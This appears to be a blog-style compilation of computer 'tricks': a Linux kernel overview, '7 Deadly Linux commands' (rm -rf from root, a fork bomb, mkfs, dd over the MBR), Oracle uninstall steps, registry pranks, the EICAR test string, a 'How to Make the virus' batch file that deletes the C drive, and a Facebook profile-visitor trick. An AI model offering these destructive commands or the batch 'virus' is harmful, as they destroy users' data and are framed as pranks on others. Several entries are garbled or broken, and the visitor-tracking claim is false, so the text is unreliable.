Linux Kernel

We demystify the Linux Kernel by bringing forth some features that are common to all versions of Linux OS.     Linux Kernel is a piece of code that is common to all versions of Linux. Proper understanding of the Linux kernel allows you to modify the operating system (OS) so as to incorporate support for the features you want. Every Linux kernel comes with these features: Multiuser – You can not only have multiple user accounts on a Linux system, but can also have multiple users logged in and working on the system simultaneously. Also, the users can arrange their own environments the way they want. It is possible to have user accounts password-protected, so that users can monitor who gets access to their applications and data. Multitasking - In Linux, it is possible to have several programs running together, which means that you can not only have multiple programs running together, but that the Linux OS can itself have programs running in the background. Majority of these system processes make it feasible for Linux to work as a server with numerous background processes responding to the network for requests to log in to your system, display an Internet page, print a document, or copy a file. Graphical user interface (X Window System) - The robust framework for working with graphical applications in Linux is dubbed as the X Window System (or simply X). X manages the functions of opening X-based graphical user interface (GUI) applications and showing them on an X server process (the process that controls your screen, mouse, and keyboard). Hardware support – It is possible to organize support for roughly every type of hardware which can be connected to a pc. You can get support for floppy disk drives, CD-ROMs, removable disks, sound cards, video cards, tape devices, and lots of other things you can think of. Networking connectivity – Linux provides support for a range of local area network cards to connect your Linux system to a network, modems, and serial devices. Additionally, LAN protocols, including Ethernet -both wired and wireless, all the most admired upper-level networking protocols can be integrated. TCP/IP is the most popular of these protocols is which is used for connecting to the Internet while other protocols, such as IPX and X.25 are also available. Network servers – Linux provides best networking services to the client computers on the LAN and also to the entire Internet. It offers you a range of software packages to enable you to use Linux as a print server, file server, FTP server, mail server, Web server, news server, or workgroup (DHCP or NIS) server. Application support – Due to the compatibility with POSIX and various other application programming interfaces (APIs), a large variety of freeware and shareware software is available for Linux. Majority of GNU software from the Free Software Foundation will run in Linux.

Destroy a Linux system

7 Deadly Linux commands that can Destroy one System

1. # cd /; rm -rf *

It will Delete Everything
Explanation : It is a combination of three keywords.
First is : rm It will remove all the files followed by this
command.
Second is : -rf This will run rm command in more effective
way and will remove everything ( all files and folders
inside the specified folder )without asking confirmation
from the user.
Third is : / This will start removing the data from the root
directroy and will delete everything from the computer
including the data of removable media.
2. :(){ :|: & };:
Shell function that gets repliacated.
This command creates a shell function , which once get
initialized starts to create multiple copies of itself.It results
in taking quickly all the memory and power of CPU.It
makes computer freeze or not responding. This is also
known as Denial Of Service Attack.
3. # mkfs.ext4 /dev/sda1
This command will format the hard disk
Explanation : This command is again composed of two
keywords.
First is : mkfs.ext4 : This part of command will create a
new ext4 file system on following device where this
command will get executed.
Second is : /dev/sda1 ;This part of command specifies the
1st partition on the first hard disk which is probably in use
by the user.
Similarly, This Command # mkfs.ext3 /dev/sdb2
will Format the second partition on the second hard
disk with ext3 File system.
4.# /dev/sda – Write Any content Directly to a
Hard Drive.
Explanation : This command will execute normally as other
commands in linux do. But output of this command will
directly be sent to the file system (NTFS or FAT ) of the
Hard Drive. It will result into damaging the file system of
the computer.
5. # mv ~ /dev/null
– Beware it Will Move your

Home Directory To Black hole.

Explanation : Moving any of your content and data to
following path : /dev/null means you want to destroy it.
It means /dev/null is a black hole where once anything
sent , can not be recovered back.
Note:Many of these commands will only be dangerous if
they’re prefixed with sudo on Ubuntu – they won’t work
otherwise. On other Linux distributions, most commands
must be run as root user.

7. One more command to spoiled the MBR # dd if=/dev/zero bs=300 count=1 of=/dev/sda

# reboot

8. # cat /bin/date > /bin/mount 

 # reboot 

Uninstall Oracle in Linux/Window

Uninstall Oracle database on without formatting the whole system.

 In Linux

Uninstalling all products from UNIX is a lot more consistent. If you do need to resort to a manual uninstall you should do something like:

• Uninstall all Oracle components using the Oracle Universal Installer (OUI).
• Stop any outstanding processes using the appropriate utilities.
  

  # oemctl stop oms user/password
  # agentctl stop
  # lsnrctl stop

  Alternatively you can kill them using the kill -9 pid command as the root user.
• Delete the files and directories below the $ORACLE_HOME.
  

  # cd $ORACLE_HOME
  # rm -Rf *

• With the exception of the product directory, delete directories below the $ORACLE_BASE.

  # cd $ORACLE_BASE
  # rm -Rf admin doc jre o*

• Delete the /etc/oratab file. If using 9iAS delete the /etc/emtab file also.

  # rm /etc/oratab /etc/emtab

 

In Window

* Uninstall all Oracle components using the Oracle Universal Installer (OUI).
* Run regedit.exe and delete the HKEY_LOCAL_MACHINE/SOFTWARE/ORACLE key. This contains registry entries for all Oracle products.
* Delete any references to Oracle services left behind in the following part of the registry:
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Ora*
It should be pretty obvious which ones relate to Oracle.
* Reboot your machine.
* Delete the "C:\Oracle" directory, or whatever directory is your ORACLE_BASE.
* Delete the "C:\Program Files\Oracle" directory.
* Empty the contents of your "c:\temp" directory.
* Empty your recycle bin.
Hope Oracle would no longer bother you anymore...

Hide the hard-drive

How to Hide the drives

(c:,d:,e:,...etc) in Ur
Computer
This is a great trick you can play on your
friends. To disable the display of local or
networked drives when you click My
Computer.
1.Go to start->run.Type regedit.Now go to:
HKEY_CURRENT_USER\Software\Microsoft
\Windows\CurrentVersion\Policies\Explorer
Now in the right pane
create a new DWORD item and name it
NoDrives (it is case sensitive).
Now modify it's value and set it to 3FFFFFF
(Hexadecimal) .
Now restart your computer.
So, now when you click on My Computer, no
drives will be shown(all gone...).
To enable display of drives in My Computer,
simply delete this DWORD item that you
created.Again restart your computer.You can
now see all the drives again.

Intel® Core™ i11 Processor.

Fool Ur Friends With Your Intel® Core™ i11 Processor.

Note, this trick is really not recommended as this may cause windows to provide falsified information to it self and other applications, which would cause system
stability issue and may slow down the system….
How to Change the Processor Name shown in the System properties Dialog Box ??
Just follow the simple steps as given below:
Step 1. Go to . Start..
Run ... and type regedit.exe
This would open the
registry editor.
Step 2. Select HKEY_LOCAL_MACHINE and
expand its contents.
Step 3. Similarly select
HARDWARE then
DESCRIPTION then
CentralProcessor and
finally select 0.
Step 4. On the Right hand
side of the window Right
Click on
ProcessorNameString and
click modify.
Step 5. Modify the name
to any name you want.
Lets say Intel® Core™ i11.
Done.

Anti-Virus Detection

Test if ur Antivirus is Working or not Using notepad ...

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

1. Open notepad.

2. Copy the above code in the file....
then save it with the name fakevirus.exe

3. If this file got deleted immediately. That means ur antivirus is working Properly
Enjoy

How to Make the virus

How to Make the virus? I ensure that no-one anti-virus caught this file.

1. Open Notepad and copy
below code into it.

@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat
(Name can be anything
but .bat is must)
3. Now, running this file will
delete all the content of C
Drive.
Warning: Please don't try to run on your own computer or else it will delete all the
content of your C Drive. I will not be responsible for any damage done to your
computer.

Trace Your Facebook Profile Visitors

How To Trace Your Facebook Profile Visitors

Now here we found who recently visited your profile.
Follow below steps for get to know your FB recent
visitors.
Step 1) Go to your Facebook Profile Page.
Step 2) Now Press Ctrl + U from your keyboard for see
source code of your profile page.
Step 3) Now press Ctrl + F from your keyboard to open
search box.
Step 4) Now search this code {"list":
Step 5) There are some Facebook Profile Ids of your friends
who visited recently.
Step 6) The first one ID's are showing visits the most
number of time.
Step 7) Now if your want to findout, Open a new tab Enter
below link :
https://facebook.com/Facebook ProfileId
For Example : https://facebook. com/100002980471641
Enjoy The Trick..